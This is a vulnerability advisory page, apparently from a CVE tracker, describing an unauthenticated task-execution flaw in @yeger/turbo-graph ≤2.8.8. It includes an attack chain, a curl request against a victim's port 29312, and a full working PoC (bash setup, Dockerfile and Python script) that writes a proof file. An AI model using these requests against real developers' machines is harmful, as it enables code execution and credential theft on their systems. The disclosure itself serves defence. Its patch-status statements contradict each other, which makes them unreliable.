Skip to main content

@yeger/turbo-graph CVE-2026-59160

| EUVDEUVD-2026-78834 HIGH
Missing Authentication for Critical Function (CWE-306)
2026-09-09 https://github.com/DerYeger/yeger GHSA-2r5q-h53f-9rp3
8.8
CVSS 3.1 · Vendor: https://github.com/DerYeger/yeger
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Scan LAN for TCP port 29312
  2. Delivery
    Identify victim running turbo-graph
  3. Exploit
    Send unauthenticated GET /api/run?tasks=<taskname>&force=true
  4. Execution
    Server spawns turbo task via spawn()
  5. Persist
    Arbitrary task executes as developer OS user
  6. Impact
    File write, credential exfiltration, or deployment action completes

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A07:2025 - Authentication Failures
ASVS 5.0
V6 - Authentication Authentication required for critical functions
MITRE ATT&CK

1 technique across 1 tactic: Initial Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The victim must have @yeger/turbo-graph version ≤ 2.8.8 actively running on a machine the attacker can reach at the network layer (AV:A - same layer-2 segment or adjacent routed network). No credentials, tokens, session cookies, or prior system access of any kind are required. The specific tasks available to the attacker are bounded by what the victim's turbo.json defines; any Turborepo project will have at minimum build, test, lint, or deploy tasks, and the PoC demonstrates execution of a custom arbitrary-write task. The default port (29312) is static and requires no reconnaissance beyond a port scan. Exploitation is blocked if: (1) a host or network firewall prevents adjacent hosts from reaching port 29312; (2) turbo-graph is not currently running (it is a transient dev tool); or (3) the victim's machine is on a fully isolated network segment with no adjacent attacker presence.

Impact

The CVSS 8.8 vector (AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) accurately represents the threat model: attack complexity is genuinely low because the exploit is a single unauthenticated HTTP GET request, and the static default port (29312) makes discovery trivial via LAN scanning. The adjacent-network constraint (AV:A) is the primary limiting factor - even a mid-sized municipal IT team in gliwice running monorepo tooling across an open corporate Wi-Fi segment would face realistic exposure from any compromised peer device. The presence of a fully functional, containerized PoC in the upstream GitHub Security Advisory (GHSA-2r5q-h53f-9rp3) confirms the exploitability claimed by the CVSS score. EPSS data was not provided in the input intelligence, and no CISA KEV entry was identified, so exploitation probability must be inferred from the PoC availability and attack complexity alone. The most material real-world mitigant is the transient, developer-local usage pattern: turbo-graph is typically run interactively during development sessions rather than as a persistent service, narrowing the attack window. Persistent use in shared development environments, automated CI/CD pipelines, or always-on developer workstations on insufficiently segmented corporate networks substantially elevates practical risk.

Exploit ScenarioDerived

An attacker on the same LAN segment as a developer running npx turbo-graph scans for TCP port 29312 using a standard network scanner, identifies the victim's IP, and sends a single HTTP GET request - curl -N 'http://<victim-ip>:29312/api/run?tasks=deploy&force=true' - from any machine on the segment. The server returns HTTP 200 and an SSE stream, then executes the deploy Turborepo task under the developer's OS user account, potentially pushing code to production CI systems or exfiltrating credentials stored in environment variables. A fully functional PoC with automated containerized reproduction is included in the GitHub Security Advisory, confirming all three evidence points: all-interface socket binding, unauthenticated SSE response, and proof-file creation by the triggered task.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.4% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Sep 10, 2026

Unauthenticated remote task execution in @yeger/turbo-graph ≤ 2.8.8 allows any adjacent-network attacker to invoke arbitrary Turborepo tasks with the victim developer's OS-level privileges. Two independent implementation flaws combine: the embedded Next.js server omits the hostname argument to Node.js .listen(), causing the process to bind on all interfaces (0.0.0.0/::), while the /api/run HTTP endpoint reads task names from an attacker-controlled query string and passes them directly to spawn() with no authentication, CSRF protection, or allowlist check. No public exploit database entry or CISA KEV listing was identified, but a fully functional PoC with containerized end-to-end reproduction is included in the GitHub Security Advisory GHSA-2r5q-h53f-9rp3, significantly lowering the bar to exploitation.

RemediationAI

Upgrade @yeger/turbo-graph to version 2.8.12 or later, the vendor-released patch documented in GHSA-2r5q-h53f-9rp3 (https://github.com/DerYeger/yeger/security/advisories/GHSA-2r5q-h53f-9rp3). Until upgrade is possible, apply a host-level firewall rule to block inbound TCP connections to port 29312 from non-loopback addresses before starting the server - for example, ufw deny in to any port 29312 on Ubuntu/Debian or an equivalent iptables -I INPUT -p tcp --dport 29312 ! -s 127.0.0.1 -j DROP rule; this addresses Flaw 1 (all-interface binding) and prevents adjacent attackers from reaching the unauthenticated endpoint. If a custom port is configured via --port, apply the firewall rule to that port instead. Note that this firewall mitigation does not fix Flaw 2 (the endpoint itself has no authentication) - it only reduces reachability. Placing developer workstations on a network-isolated VLAN also limits adjacent-network exposure but does not substitute for patching.

Affected VersionsENISA

yeger < 2.8.9

Affected Packages

npm @yeger/turbo-graph fix: 2.8.12
euvd yeger fix: 2.8.9

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in npm, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The affected package is @yeger/turbo-graph (npm, CPE: pkg:npm/@yeger_turbo-graph, versions ≤ 2.8.8), a developer-facing CLI and web UI tool for visualizing and triggering Turborepo task graphs in monorepos. It embeds a Next.js server that exposes a /api/run Server-Sent Events endpoint. The root cause is CWE-306 (Missing Authentication for Critical Function) and manifests as two compounding flaws: packages/turbo-graph/src/index.ts:44 calls .listen(port, callback) without a hostname argument, causing Node.js to default-bind on 0.0.0.0/:: despite const hostname = 'localhost' being declared at line 19 for use only in the console log URL; and packages/turbo-graph-ui/app/api/run/route.ts:156-177 reads tasks, filter, and force from the URL query string and passes them directly to buildResponseFromArgs, which constructs a Turbo CLI argument array and calls spawn(turboBin, args, { cwd: dir }). Because spawn() is invoked with an argument array rather than a shell string, shell metacharacter injection does not apply; however, any task name defined in the victim's turbo.json can be triggered without restriction. The static default port 29312 is predictable and fingerprint-scannable.

Know when Node.js gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/DerYeger/yeger) PRIMARY 8.8 HIGH
AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
vuln.today AI 8.8 HIGH

Adjacent vector confirmed by local-server binding; no authentication exists on the endpoint so PR:N; arbitrary task execution yields full C/I/A:H impact.

3.1 AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
4.0 AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/DerYeger/yeger).

CVSS VectorVendor: https://github.com/DerYeger/yeger

Attack Vector
Adjacent
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

DescriptionCVE.org

Unauthenticated Network-Exposed Turborepo Task Execution via /api/run

Summary

@yeger/turbo-graph starts its embedded Next.js server without binding to the loopback interface, causing it to listen on all network interfaces (0.0.0.0:29312 by default). The /api/run HTTP endpoint exposed by this server performs no authentication, authorization, CSRF protection, or task allowlist check before executing attacker-supplied Turborepo task names via spawn(). Any adjacent-network attacker can send an unauthenticated GET request to trigger arbitrary tasks defined in the victim's repository, resulting in code execution, file modification, destructive build side effects, or deployment of attacker-chosen targets with the privileges of the developer's OS user.

Details

Two independent flaws combine to create a remotely exploitable unauthenticated code execution vulnerability:

Flaw 1 - Server bound to all interfaces (not loopback)

packages/turbo-graph/src/index.ts:44 calls .listen(options.port, callback) without passing a hostname argument. Although const hostname = 'localhost' is declared at line 19, it is used only for constructing the console log URL and is never passed to listen(). Node.js therefore defaults to binding on 0.0.0.0 (all IPv4 interfaces) and :: (all IPv6 interfaces), making the server reachable from the local network segment.

ts
// packages/turbo-graph/src/index.ts
19    const hostname = 'localhost'  // used only for console URL, not for listen()
...
44        .listen(options.port, () => {   // hostname argument missing → 0.0.0.0 bind
45          const url = `http://${hostname}:${options.port}`

Flaw 2 - Unauthenticated /api/run task execution endpoint

packages/turbo-graph-ui/app/api/run/route.ts:156-177 defines GET(), which reads tasks, filter, and force from the request query string and passes them directly to buildResponseFromArgs, which appends them to a Turbo CLI argument array and calls spawn(). There is no authentication check, no session validation, no CSRF token, and no task allowlist anywhere in this handler.

ts
// packages/turbo-graph-ui/app/api/run/route.ts
156  export function GET(req: NextRequest) {
157    const url = new URL(req.url)
159    const tasksParam = url.searchParams.getAll('tasks')   // attacker-controlled source
171    const filter = url.searchParams.get('filter') ?? undefined
176    return buildResponseFromArgs(tasks, filter, req.signal, { force })

// buildResponseFromArgs - packages/turbo-graph-ui/app/api/run/route.ts
20    const args: string[] = ['run', ...tasks]              // tasks inserted directly
25          args.push(`--filter=${trimmed}`)
31      args.push('--force')
34    const child = spawn(turboBin, args, { cwd: dir, env: { ...process.env, CI: 'true' } })
                                                            // ^ sink: arbitrary task execution

Because spawn() is invoked with an argument array (not a shell string), traditional shell metacharacter injection does not apply. However, this does not mitigate the vulnerability: any task name defined in turbo.json of the victim's repository can be selected and run without restriction.

PoC

Environment setup (victim machine):

bash
mkdir /tmp/tg-poc && cd /tmp/tg-poc

cat > package.json <<'JSON'
{
  "private": true,
  "scripts": {
    "pwn": "node -e \"require('fs').writeFileSync('/tmp/turbo-graph-poc', 'owned\\n')\""
  },
  "devDependencies": {
    "@yeger/turbo-graph": "2.8.8",
    "turbo": "^2.0.0"
  }
}
JSON

cat > turbo.json <<'JSON'
{
  "tasks": {
    "pwn": { "cache": false }
  }
}
JSON

npm install
npx turbo-graph --port 29312

Verify the server is bound to all interfaces (Flaw 1):

bash
ss -tlnp 'sport = :29312'
# Expected: LISTEN 0 511 *:29312  (0.0.0.0, not 127.0.0.1)

Attack request (from any host on the same network segment):

bash
# Replace <victim-ip> with the victim machine's LAN IP address.
curl -N "http://<victim-ip>:29312/api/run?tasks=pwn&force=true"

Expected outcome:

  • The server returns HTTP 200 with a text/event-stream response.
  • An SSE start event is received with args: ["run", "pwn", "--ui=stream", "--force"], confirming that the unauthenticated request was accepted.
  • The file /tmp/turbo-graph-poc is created on the victim machine with content owned, proving arbitrary task execution.

Containerized reproduction (automated):

The enclosed Dockerfile and poc.py provide a self-contained reproduction. Build and run:

bash
docker build -t vuln-001-poc <vuln-001-dir>
docker run --rm vuln-001-poc

The container confirmed all three evidence points during Phase 2 dynamic testing:

  1. ss -tlnp sport=:29312 → LISTEN 0 511 *:29312 (all-interface binding confirmed)
  2. GET /api/run?tasks=pwn&force=true → HTTP 200, SSE start event with args: ["run","pwn","--ui=stream","--force"] (no token required)
  3. /tmp/poc-proof.txt created with content PWNED:<timestamp> (arbitrary task execution confirmed)

Impact

This is a Missing Authentication for Critical Function (CWE-306) vulnerability. Any unauthenticated attacker reachable on the same network segment as a developer running turbo-graph can execute arbitrary Turborepo tasks defined in that developer's repository.

Depending on the tasks configured in the victim's turbo.json, the impact includes:

  • Confidentiality (High): Tasks that read secrets, generate build artifacts, or invoke cloud CLI commands can exfiltrate sensitive data.
  • Integrity (High): Tasks that write files, run migrations, commit code, or invoke deployment scripts can permanently modify the victim's project or infrastructure.
  • Availability (High): Tasks that delete data, exhaust resources, or run destructive build steps can disrupt ongoing development work.

The attack requires no credentials, no prior access, and no interaction from the victim beyond having turbo-graph running. The default port (29312) is static and predictable, making targeted network scanning straightforward. All users who run npx turbo-graph or install @yeger/turbo-graph@2.8.8 in a shared or corporate network environment are affected.

Reproduction artifacts

Dockerfile
dockerfile
# VULN-001 PoC: Unauthenticated Turborepo Task Execution (@yeger/turbo-graph@2.8.8)
#
# Layout:
#   /victim/          - simulated developer workspace that runs turbo-graph
#   /victim/pwn.js    - the task payload executed when the attacker fires /api/run
#   /poc.py           - attacker script: sends unauthenticated GET /api/run?tasks=pwn
#
# Build:
#   docker build -t vuln-001-poc <vuln-001-dir>
#
# Run:
#   docker run --rm vuln-001-poc

FROM node:20-slim
# System tools:
#   python3    - runs poc.py
#   iproute2   - ss(8) for socket-binding introspection (evidence collection)
RUN apt-get update && \
    apt-get install -y --no-install-recommends python3 iproute2 && \
    rm -rf /var/lib/apt/lists/*
# ---------------------------------------------------------------------------
# Victim workspace: a minimal Turborepo project that a developer might run
# ---------------------------------------------------------------------------
WORKDIR /victim
# package.json: defines the 'pwn' task script and package dependencies.
# @yeger/turbo-graph@2.8.8 is the vulnerable package (from DerYeger/yeger).
# turbo satisfies the peerDependency and provides node_modules/.bin/turbo.
RUN echo '{"private":true,"name":"victim-project","packageManager":"npm@10.8.2","scripts":{"pwn":"node /victim/pwn.js"},"devDependencies":{"@yeger/turbo-graph":"2.8.8","turbo":"^2.0.0","react":"^18.0.0","react-dom":"^18.0.0"}}' \
    > /victim/package.json
# turbo.json: declares the 'pwn' task with caching disabled so it always runs.
RUN echo '{"tasks":{"pwn":{"cache":false}}}' \
    > /victim/turbo.json
# pwn.js: task payload - writes a timestamped proof file and logs to stdout.
# When an attacker sends GET /api/run?tasks=pwn, turbo-graph runs this script.
RUN echo 'const fs = require("fs"); const ts = Date.now().toString(); fs.writeFileSync("/tmp/poc-proof.txt", "PWNED:" + ts); console.log("TASK_EXECUTED:" + ts);' \
    > /victim/pwn.js
# Install packages from the declarations in package.json.
# --legacy-peer-deps avoids strict peer-dep resolution failures.
# The published @yeger/turbo-graph-ui@2.8.8 tarball ships a pre-built
# .next/ directory, so no separate 'next build' step is required.
RUN npm install --legacy-peer-deps --no-fund --no-audit 2>&1 | tail -5
# ---------------------------------------------------------------------------
# Attacker PoC script
# ---------------------------------------------------------------------------
COPY poc.py /poc.py
# Default: execute the PoC (start server, fire unauthenticated request, verify)
CMD ["python3", "/poc.py"]
poc.py
python
#!/usr/bin/env python3
"""
PoC for VULN-001: Unauthenticated Network-Exposed Turborepo Task Execution
Package:  @yeger/turbo-graph@2.8.8
CWE:      CWE-306 (Missing Authentication for Critical Function)
CVSS:     8.8 High (CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

Two independent flaws combine into the vulnerability:
  1. packages/turbo-graph/src/index.ts:44 calls .listen(port) without a
     hostname argument, so Node.js defaults to 0.0.0.0 (all interfaces).
  2. packages/turbo-graph-ui/app/api/run/route.ts:156-177 GET() handler
     has zero authentication; attacker-supplied ?tasks= values are passed
     directly to spawn(turboBin, ['run', ...tasks], { cwd: victimDir }).

Attack scenario reproduced here:
  - Victim runs `turbo-graph` from a project with a side-effecting task.
  - Attacker sends a plain unauthenticated GET /api/run?tasks=pwn.
  - The server executes `turbo run pwn` in the victim's project directory.
  - The 'pwn' task writes /tmp/poc-proof.txt, proving arbitrary execution.
"""

import os
import socket
import subprocess
import sys
import time
import urllib.error
import urllib.request
# ---------------------------------------------------------------------------
# Configuration
# ---------------------------------------------------------------------------
PROOF_FILE = "/tmp/poc-proof.txt"
PORT = 29312
VICTIM_DIR = "/victim"
TURBO_GRAPH_BIN = os.path.join(VICTIM_DIR, "node_modules", ".bin", "turbo-graph")
SERVER_STARTUP_TIMEOUT = 120
# seconds; Next.js production startup can be slow
REQUEST_TIMEOUT = 90
# seconds to wait for the SSE stream to finish
# ---------------------------------------------------------------------------
# Helpers
# ---------------------------------------------------------------------------

def wait_for_port(host: str, port: int, timeout: int) -> bool:
    """Poll until the TCP port accepts connections or timeout expires."""
    deadline = time.time() + timeout
    while time.time() < deadline:
        try:
            with socket.create_connection((host, port), timeout=2):
                return True
        except (ConnectionRefusedError, OSError):
            time.sleep(1)
    return False


def get_socket_binding(port: int) -> str:
    """Return the raw 'ss' output for the listening socket on *port*."""
    try:
        result = subprocess.run(
            ["ss", "-tlnp", f"sport = :{port}"],
            capture_output=True,
            text=True,
            timeout=5,
        )
        return result.stdout.strip()
    except Exception as exc:
        return f"(ss unavailable: {exc})"


def binding_is_all_interfaces(ss_output: str) -> bool:
    """Return True when the socket is listening on all interfaces."""
    return any(
        marker in ss_output
        for marker in ("0.0.0.0", "*:", "[::]", ":::")
    )


def read_sse_stream(url: str, timeout: int) -> list:
    """
    Open *url* as a Server-Sent Events stream and return parsed events.
    Each event is a dict with keys 'type' and optionally 'data'.
    Stops when an 'end' event is received or *timeout* seconds elapse.
    """
    events = []
    try:
        req = urllib.request.Request(
            url,
            headers={
                "Accept": "text/event-stream",
                "Cache-Control": "no-cache",
                "Connection": "keep-alive",
            },
        )
        with urllib.request.urlopen(req, timeout=timeout) as resp:
            print(f"  [HTTP] {resp.status} {resp.reason}")
            print(f"  [HTTP] Content-Type: {resp.getheader('Content-Type', '')}")
            buf = ""
            deadline = time.time() + timeout
            while time.time() < deadline:
                chunk = resp.read(4096)
                if not chunk:
                    break
                buf += chunk.decode("utf-8", errors="replace")
# Parse complete SSE blocks (separated by blank lines)
                while "\n\n" in buf:
                    block, buf = buf.split("\n\n", 1)
                    ev: dict = {}
                    for line in block.strip().split("\n"):
                        if line.startswith("event: "):
                            ev["type"] = line[7:]
                        elif line.startswith("data: "):
                            ev["data"] = line[6:]
# ignore SSE comments (':') and 'retry:' lines
                    if ev.get("type"):
                        events.append(ev)
                        preview = ev.get("data", "")[:120]
                        print(f"  [SSE]  event={ev['type']}  data={preview}")
                        if ev["type"] == "end":
                            return events
    except urllib.error.HTTPError as exc:
        print(f"  [!] HTTP error: {exc.code} {exc.reason}")
    except Exception as exc:
        print(f"  [!] Stream error: {type(exc).__name__}: {exc}")
    return events
# ---------------------------------------------------------------------------
# Main PoC
# ---------------------------------------------------------------------------

def main() -> int:
    sep = "=" * 64
    print(sep)
    print("VULN-001 PoC  -  Unauthenticated Turborepo Task Execution")
    print("Package : @yeger/turbo-graph@2.8.8")
    print("CWE-306 : Missing Authentication for Critical Function")
    print(sep)
    print()
# Remove stale proof file from a previous run
    if os.path.exists(PROOF_FILE):
        os.remove(PROOF_FILE)
# ------------------------------------------------------------------
# Step 1: Start turbo-graph server from the victim project directory
# The CLI does NOT pass a hostname to .listen(), so Node.js binds to
# 0.0.0.0 (all interfaces) - see index.ts:44.
# ------------------------------------------------------------------
    print(f"[1] Starting turbo-graph from {VICTIM_DIR} on port {PORT} ...")
    server = subprocess.Popen(
        [TURBO_GRAPH_BIN, "--port", str(PORT)],
        cwd=VICTIM_DIR,
        stdout=subprocess.PIPE,
        stderr=subprocess.STDOUT,
        text=True,
    )
# ------------------------------------------------------------------
# Step 2: Wait for the port to become available
# ------------------------------------------------------------------
    print(f"[2] Waiting up to {SERVER_STARTUP_TIMEOUT}s for Next.js server startup ...")
    ready = wait_for_port("127.0.0.1", PORT, timeout=SERVER_STARTUP_TIMEOUT)
    if not ready:
        server.kill()
        stdout, _ = server.communicate()
        print(f"[!] Server did not become ready within {SERVER_STARTUP_TIMEOUT}s.")
        print(f"    stdout/stderr:\n{stdout[:2000]}")
        return 1
    print(f"[+] Server is accepting connections on port {PORT}.")
# ------------------------------------------------------------------
# Step 3: Verify that the socket is bound to 0.0.0.0 (all interfaces)
# Flaw 1: .listen(port) without hostname → network-exposed.
# ------------------------------------------------------------------
    ss_output = get_socket_binding(PORT)
    print(f"\n[3] Socket binding (ss -tlnp sport=:{PORT}):")
    print(f"    {ss_output}")
    if binding_is_all_interfaces(ss_output):
        print(f"[+] FLAW-1 CONFIRMED: Server bound to all interfaces (0.0.0.0 / ::), not loopback only.")
    else:
        print(f"[?] Could not confirm all-interface binding; proceeding with request test.")
# ------------------------------------------------------------------
# Step 4: Send an unauthenticated GET /api/run?tasks=pwn request
# Flaw 2: no authentication, authorisation, CSRF check, or task
#         allowlist - see route.ts:156-177.
# ------------------------------------------------------------------
    url = f"http://127.0.0.1:{PORT}/api/run?tasks=pwn&force=true"
    print(f"\n[4] Sending unauthenticated HTTP request (no token, no credentials):")
    print(f"    GET {url}")
    sse_events = read_sse_stream(url, timeout=REQUEST_TIMEOUT)
# Allow a moment for any buffered I/O in the child process to flush
    time.sleep(3)
# ------------------------------------------------------------------
# Step 5: Evaluate exploitation results
# ------------------------------------------------------------------
    exploited = os.path.exists(PROOF_FILE)
    proof_content = open(PROOF_FILE).read().strip() if exploited else ""

    start_event = next((e for e in sse_events if e.get("type") == "start"), None)
    end_event   = next((e for e in sse_events if e.get("type") == "end"),   None)
    log_events  = [e for e in sse_events if e.get("type") in ("log", "stderr")]

    print()
    print(sep)
    print("EVIDENCE SUMMARY")
    print(sep)
# Evidence A: socket binding
    if binding_is_all_interfaces(ss_output):
        print(f"[A] FLAW-1  - Socket bound to all interfaces: {ss_output.split(chr(10))[0][:80]}")
    else:
        print(f"[A] FLAW-1  - ss output: {ss_output[:80]}")
# Evidence B: unauthenticated SSE response
    if start_event:
        print(f"[B] FLAW-2  - Unauthenticated /api/run accepted; SSE start args:")
        print(f"              {start_event.get('data', '')}")
    else:
        received = [e.get("type") for e in sse_events]
        print(f"[B] FLAW-2  - SSE events received: {received}")
# Evidence C: turbo task exit code
    if end_event:
        print(f"[C] TURBO   - turbo run exit code: {end_event.get('data', '')}")
# Evidence D: proof file (arbitrary code execution)
    if exploited:
        print(f"[D] EXPLOIT - Proof file created: {PROOF_FILE}")
        print(f"              Content: {proof_content}")
    else:
        print(f"[D] EXPLOIT - Proof file NOT created: {PROOF_FILE}")
        if log_events:
            print(f"    Task stdout/stderr (first 5 lines):")
            for ev in log_events[:5]:
                print(f"      [{ev['type']}] {ev.get('data', '')}")

    print(sep)
# Clean up
    server.kill()
    server.wait(timeout=10)

    if exploited:
        print("\n[RESULT] PASS - Exploitation reproduced. Proof file written by unauthenticated request.")
        return 0
    else:
        print("\n[RESULT] FAIL - Proof file not created. See evidence above for diagnostics.")
        return 1


if __name__ == "__main__":
    sys.exit(main())

Technical POC Analysis

CWE-306 (Missing Authentication for Critical Function), realised through two independent defects that must both be present.

Full technical POC analysis - root cause, step-by-step exploitation and patch breakdown - is part of the Pro and Business plans.

Executive ViewAI

Why It Matters

@yeger/turbo-graph versions 2.8.8 and earlier allow unauthenticated attackers on the developer's network segment to execute arbitrary build tasks with full OS-level privileges. Publicly available exploit code exists in the GitHub Security Advisory, enabling practical attacks against development teams and creating a direct supply chain compromise vector for downstream users of affected projects.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: enforce strict network segmentation isolating development machines from untrusted networks, apply firewall egress rules limiting outbound connections from affected systems, disable or remove the @yeger/turbo-graph package if not mission-critical, and implement endpoint monitoring to detect unexpected process spawning with developer privileges.

Threat Intelligence Overview

EPSS Score
0.4%
Top 65% exploitable
Prevalence
Rare
niche developer visualization tool for Turborepo monorepos, limited adoption
Threat Intel
1
1 source
Exploit
POC
Public exploit code exists
Social Media
2
Sightings
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.4%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
Poc
System Exposure· derived
Controlled
Automatable· derived
No
Human Impact
High

Priority Score

64
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +44
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Request Forgery exploits the automatic credential inclusion behavior of web browsers.

Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

CVE-2025-68613 HIGH POC
8.8 Dec 19

Remote code execution in n8n's workflow expression evaluation system allows an authenticated user with workflow creation

CVE-2024-41713 CRITICAL POC
9.1 Oct 21

A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2 (9.8.1.201) could

CVE-2024-55591 CRITICAL POC
9.8 Jan 14

FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote

CVE-2023-44487 HIGH POC
7.5 Oct 10

Denial of service against HTTP/2 server implementations allows remote unauthenticated attackers to exhaust server resour

CVE-2014-7205 CRITICAL POC
10.0 Oct 08

Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t

CVE-2025-59528 CRITICAL POC
10.0 Sep 22

Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete

CVE-2017-14849 HIGH POC
7.5 Sep 28

Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc

CVE-2017-5941 CRITICAL POC
9.8 Feb 09

An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2014-3744 HIGH POC
7.5 Oct 23

Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi

CVE-2014-9566 HIGH POC
7.5 Mar 10

Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin

CVE-2013-4660 MEDIUM POC
6.8 Jun 28

The JS-YAML module before 2.0.5 for Node.js parses input without properly considering the unsafe !!js/function tag, whic

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy